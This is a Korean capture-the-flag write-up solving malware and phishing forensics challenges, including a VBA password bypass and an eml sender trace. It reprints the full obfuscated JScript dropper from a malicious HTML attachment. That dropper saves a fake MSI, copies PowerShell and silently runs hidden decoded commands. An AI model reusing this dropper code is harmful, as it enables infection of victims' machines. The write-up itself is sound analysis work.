수상한 문서 파일이 전송되었다 ! 해당 문서 파일을 분석하여라 ! 대상 환경 : Windows 10 Education, Build 18362.1016
세부문제1
악성 exe가 생성되는 전체 경로를 적으시오. (파일 이름, 확장자 포함) 예시 ) FIESTA2020{C:\Ex\Path\filename.exe}
doc파일이 주어진다.
매크로를 확인하기 위해 편집사용 클릭 후 보기 > 매크로 > 매크로 보기 에서 편집을 눌렀는데 에러가 났다.
컨텐츠 사용을 클릭하였더니 런타임 오류가 나고, 디버그를 클릭하였더니 Project 암호 입력 창이 나왔다.
이 인증 과정을 우회해주기 위해서 .doc 파일을 hex 에디터로 연 뒤, DPB값을 찾아준다.
이 DPB를 DPX로 바꿔주고 .doc를 열어준다.
예
다시 매크로> 매크로 보기 > 편집 으로 들어가니 잘 들어가졌다.
디버깅을 통해서 악성 exe가 생성되는 전체 경로를 찾을 수 있다.
v3rypog
김다원 연구원은 최근 수상한 메일을 수신한 적이 있어 본인이 사용하던 PC를 확인한 결과, 의심스러운 파일을 발견했다. 의심 파일을 분석하는 과정에서 pyc 파일 까지는 획득했으나, 이후 분석을 못하고 있는 상황이다. 분석을 통해 공격을 막을 수 있는 FLAG 를 획득하시오.
다시 pyc코드를 살펴보면 코드가 평문으로 들어가있는게 있다. 해당 부분 주석처리하고 다시 코드 돌려주면 의미있는 값을 구할 수 있다.
SharperGram
금융보안원에 재직중인 A씨는 평소 여행을 좋아하여 외국으로 여행을 자주 다니는 편이다. 올해도 마찬가지로 여행 계획을 세우는 A씨는 최근 항공사로부터 항공권 관련 메일을 받게 되었고, 메일의 첨부파일을 확인한 A씨는 얼마 지나지않아 자신의 메일 계정 정보등이 유출된 사실을 알게되었다. A씨의 정보가 어떻게 유출되었는지 메일을 분석하시오.
SharperGram-1
메일 최초 발신자 IP, 도메인과 해당 도메인의 최초 등록자 정보를 조사하시오. (발신IP_발신도메인_도메인등록자이름(공백없이)_도메인등록국가코드) e.g.) 0.0.0.0_domain.tld_JohnSmith_KR
eml 파일이 주어진다. Outlook으로 열 수 있는데 발신자는 ticket-mailer@discountbok.com 이다.
-도메인 : discountbok.com
eml파일을 HxD로 열어서 해당 도메인을 검색하면 ip주소를 찾을 수 있다.
- ip주소 : 184.168.221.37
그리고 도메인의 최초 등록자 이름과 국가를 구하기 위해서 아래 사이트에 도메인을 검색해보았다.
(응답서버로 값이 넘어 온 것은 아니고, c2서버 response에서 오류메세지에 플래그가 같이 딸려 나왔다.)
PayDay
금융회사 임직원 A씨는 여느 달과 같이 카드 이용 대금명세서 메일을 수신하였고 결제금액 및 상세 이용내역을 확인하기 위해 첨부문서(html)를 열람하였다. 보안 프로그램을 설치하고 생년월일을 입력하려는 순간 화면이 잠기고 키보드가 먹통이 되어 PC를 사용할 수 없게 되었다. 이를 해제하기 위해서는 Flag값을 입력해야 한다는 메시지박스가 생성되었다.
A씨는 즉시 정보보호부에 피해 사실을 신고하였다. 정보보호부 내의 CERT 팀은 추가 피해를 방지하고 업무연속성을 유지하기 위해 분석 작업을 시작하였다.
PayDay-2
암호화된 쉘코드를 실행하기 위해 C2 서버에서 수신한 문자열을 일련의 루틴을 거친 후 AES 복호화에 사용하는데, 이 때 사용되는 키값은? (0x 제외하고 Hex값 형태로 입력)
html 파일이 하나 주어진다.
코드를 정렬해주었다. (2번 문제를 푸는데에 상단 코드의 내용은 필요 없어서 제외했다.)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
function a() {
try {
var _0x34a867 =document['getElementById']('smime_body')['value'];
var _0x59abc8 = Decode(_0x34a867);
var _0x5683a6 =new Blob([_0x59abc8], {
'type': 'application/octet-stream'
});
var _0x340994 = saveAs(_0x5683a6, '_Secure.msi');
if (_0x340994 ==![]) {}
} catch (_0x463d54) {}
}
function b() {
try {
var f =new ActiveXObject("Scripting.FileSystemObject");
var fn = f.GetSpecialFolder(1) +"\\WindowsPowerShell\\v1.0\\powershell.exe";
var a ="BWlucR0Le2AaYz44KQ==";
var s = f.GetSpecialFolder(2) + clue(a);
if (f.FileExists(fn)) {
f.CopyFile(fn, s);
returntrue;
} else {
returnfalse;
}
} catch (e) {
returnfalse
}
}
function c() {
var f =new ActiveXObject("Scripting.FileSystemObject");
var a ="BTYJZG98fGFhCGdhaQgIeG11D2x0DHNtYWALEW5/fBFreHsWbgg3";
var b ="BTYJE25+fxBhe2cTGnR4eG0OC2B0dH4WamAIYxt0C2IcDH1kYH03";
var c ="BTYIbB8IemIcf2dmbAxyeG0Lf2x0D31hamAMYm90fRMbeHMRa3o3";
var d ="BTYJZR99C2QffGdhb3V9eG16DG10DAtlYGAPF2F/cmAddHgUaQ83";
var e ="BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3";
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(a))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(a));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(b))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(b));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(c))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(c));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(d))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(d));
}
if (!f.FolderExists(f.GetSpecialFolder(2) + clue(e))) {
f.CreateFolder(f.GetSpecialFolder(2) + clue(e));
}
}
function d() {
var a ="BWlucR0Le2AaYz44KQ==";
var b ="BTZ9FmoODhFpD2dkbHx/eG0JDBF0DAhibmAPZ2p4c2cceQ9tb3w3CX1pbhEffH8WdygyMA==";
var c ="eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3VxAy8idAIoPzwuPnUKNDkhPCBkGzw5ZAI8Lwk5MCgkIXBjDjouIyY6OCkMPDUoYnIxOT4lY2JlYGtjfWx3e3x7YXtleigbBWJrCDkQYSt7FAsGAC0dJz45MQ8TJxgMMmUfdT0PHB16HBA0DRsNGAUYFQgMIy8rEmIJFBAEaD0QI2ksfmJvLH8FMSsEH2h0JCJoFBtiDiAHJyh7DjcSFDoYERc6Mg57fQw0PmV6KWMvLTxqZnV+aB4QFB1vCSIOehNpDHsTaGB+Y2F6Z2FuC3J4GAx6bHQICG1rdX8RYH8LZRswFisdC3gUb3UJezw1L3Jw";
var d ="eWAdPDcpJSIKOTM5PG0iPD0pLxt5YA8tPC4/ATAiJAU2ISM2IG0ILCksGSZ5YCQ6KT8lMzAhL3V8GQ8YCWgWciJqCWUffQtkH3xnYW91fXhtegxtdAwLZWBgDxdhf3JgHXR4FGkPbSh+ETQRH38LY2EOZDAhKA==";
var f =new ActiveXObject("Scripting.FileSystemObject");
var s =new ActiveXObject("WScript.shell");
var st = f.GetSpecialFolder(2) + clue(a);
var sc = f.GetSpecialFolder(2) + clue(b);
if (f.FileExists(st)) {
f.CopyFile(st, sc);
}
var c = sc + clue(c);
var d = sc + clue(d);
s.run(c, 0, true);
s.run(d, 0, true);
f.DeleteFile(sc);
}
function get_version_of_IE() {
var word;
var version ="N/A";
var agent =navigator.userAgent.toLowerCase();
varname=navigator.appName;
if (name=="Microsoft Internet Explorer") word ="msie ";
else {
if (agent.search("trident") >-1) word ="trident/.*rv:";
elseif (agent.search("edge/") >-1) word ="edge/";
}
var reg =newRegExp(word +"([0-9]{1,})(\\.{0,}[0-9]{0,1})");
if (reg.exec(agent) !=null) version =RegExp.$1 +RegExp.$2;
return version;
}
window.onload=function() {
var isSuccess;
var verString = get_version_of_IE();
var verNumber =parseInt(get_version_of_IE(), 10);
var savePath;
if (verString =="N/A") {
alert("지원하지 않는 형식의 브라우져 입니다.\n 지원 가능한 브라우져 : Internet Explorer");
} else {
alert('정보유출 방지를 위해 하단에 생성되는 보안 프로그램을 설치 후에 입력해주시기 바랍니다.');
a();
c();
b();
d();
}
}
function clue(a) {
var b ="NTk0ZDRhNTU=";
c = atob(b);
var c = c.toString();
var d ='';
for (var i =0; i < c.length; i +=2) d +=String.fromCharCode(parseInt(c.substr(i, 2), 16));
e = atob(a);
f ='';
for (i =0; i < e.length; i++) {
f +=String.fromCharCode(e[i].charCodeAt(0).toString(10) ^ d.charCodeAt(i % d.length).toString(10));